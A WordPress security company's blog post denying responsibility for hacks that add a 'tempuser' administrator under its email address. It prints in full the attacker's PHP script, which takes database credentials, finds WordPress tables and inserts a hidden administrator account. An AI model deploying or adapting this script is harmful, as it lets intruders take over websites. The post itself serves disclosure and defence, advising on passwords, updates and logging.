Was Your WordPress Website Hacked by WP White Security?

Many who have had their WordPress website or blog hacked noticed a new WordPress user tempuser with the email address support@wpwhitesecurity.com on their WordPress so automatically they assumed it was us.

In fact lately we have been receiving a lot of emails from WordPress administrators asking us if we hacked their website. I do not blame such people, especially if they do not know about us but first of all, please note that we do not engage in such type of activity. We promote WordPress security and raise awareness about it as you can see from our WordPress security blog.

Deciphering the WordPress Hack Attack

Unfortunately we do not have much information about this type of WordPress hack attack. We have been in touch with several independent WordPress security professionals and with Sucuri as well, and all of us are trying to share as much information as we can about this attack but so far we do not have much information.

Creating a WordPress Administrator with WP White Security Email Address

The only thing we know so far is that the attackers are managing to upload the below script which when executed it creates the tempuser with WordPress administrator role. Once the user is created the attackers can login to WordPress via this user and tamper the WordPress website, or inject it with malware.

<?php
error_reporting(0);
if(isset($_GET['check']))
{
echo "pawet";
}
if(isset($_POST["v1"]))
{
   $link = mysql_connect($_POST["v1"], $_POST["v2"], $_POST["v3"]);
   $query = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ( 'information_schema', 'performance_schema', 'mysql' )";
   $result = mysql_query($query);
   $tables_list = array();
   while ($line = mysql_fetch_array($result))
   {
      if (strpos($line["table_name"],'_options') !== false) {
$b = $line["table_schema"].".".$line["table_name"];
$query2 = "select concat(option_value,'|%5%5%5') from ".$b." where option_name='siteurl'";
$result2 = mysql_query($query2);
$row = mysql_fetch_row($result2);
if (strpos($row[0],'|%5%5%5') !== false) {
$p = explode("|", $row[0]);
$site_name = $p[0];
$p = explode("_", $line["table_name"]);
$table_p = $p[0]."_";
$db = $line["table_schema"];
array_push($tables_list,$b."<|>".$site_name."<|>".$table_p."<|>".$db);
}
      }  

}
foreach($tables_list as $aaa)
{
$list = explode("<|>", $aaa);
$table_pref = $list[2];
$site_name = $list[1];
$db = $list[3];
mysql_select_db($db);
$query = "INSERT INTO `".$table_pref."users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`, `display_name`) VALUES ('9192191', 'wpupdatestream', '".base64_decode("JFAkQk5yZmE4eE1Memp0TVhFQjNaeC9IcnhjQXlmV21tLw==")."', 'tempuser', 'support@wpwhitesecurity.com', '0', 'Temp User')";
mysql_query($query);
$query = "INSERT INTO `".$table_pref."usermeta` (`umeta_id`,`user_id`,`meta_key`,`meta_value`) VALUES ('9192192', '9192191', '".$table_pref."capabilities', 'a:18:{s:13:\"administrator\";s:1:\"1\";s:34:\"wpml_manage_translation_management\";b:1;s:21:\"wpml_manage_languages\";b:1;s:41:\"wpml_manage_theme_and_plugin_localization\";b:1;s:19:\"wpml_manage_support\";b:1;s:29:\"wpml_manage_media_translation\";b:1;s:22:\"wpml_manage_navigation\";b:1;s:24:\"wpml_manage_sticky_links\";b:1;s:30:\"wpml_manage_string_translation\";b:1;s:33:\"wpml_manage_translation_analytics\";b:1;s:25:\"wpml_manage_wp_menus_sync\";b:1;s:32:\"wpml_manage_taxonomy_translation\";b:1;s:27:\"wpml_manage_troubleshooting\";b:1;s:31:\"wpml_manage_translation_options\";b:1;s:36:\"wpml_manage_woocommerce_multilingual\";b:1;s:37:\"wpml_operate_woocommerce_multilingual\";b:1;s:9:\"translate\";b:1;s:14:\"backwpup_admin\";b:1;}')";
mysql_query($query);
$query = "INSERT INTO `".$table_pref."usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES ('9192191', '9192191', '".$table_pref."user_level', '10')";
mysql_query($query);


$query3 = "select user_login from `".$table_pref."users` where ID=9192191";
$result3 = mysql_query($query3);
$line3 = mysql_fetch_row($result3);
if($line3[0] == 'wpupdatestream')
{
echo $site_name."<|>wpupdatestream<|>p123123|new|";
}
}
    mysql_close($link);
}
?>

Why Is the WP White Security Email Address Used?

Good question. Most probably when the author was writing this script he got the SQL script example we used in our article How to Manually Add a WordPress Administrator to the Database using SQL Queries.

How Can WordPress Attackers Upload Such Script?

So far we do not have much information but it could be many things. They can upload such file by gaining FTP access because of weak passwords or an exploit on the server, or because they managed to gain root access to a web server through some old software, which could also be an old version of WordPress, a vulnerable plugin or WordPress theme. For example by exploiting the popular vulnerability in RevSlider plugin discovered a few months back, hackers can gain access to write files to the web server. The options are endless hence why you should at least always use strong passwords and  ensure all the software you use is the latest version.

Monitor WordPress To Catch Hackers Red Handed

The above hack is a perfect answer to why you should monitor all the activity on your WordPress and web server as well. Hence always make sure that all the software you run on your web server has logging enabled. If you have all the logs of your web server software and a WordPress monitoring solution such as WP Security Audit Log plugin you have a complete monitoring solution that allows you to track any suspicious behaviour before it becomes a security issue. Of if your WordPress website has already been hacked, logging can also help you trace back how the attack happened and address the security flaw.

In the meantime, if you have any more information about such attack please let us know by leaving a comment below or drop us an email on support@wpwhitesecurity.com.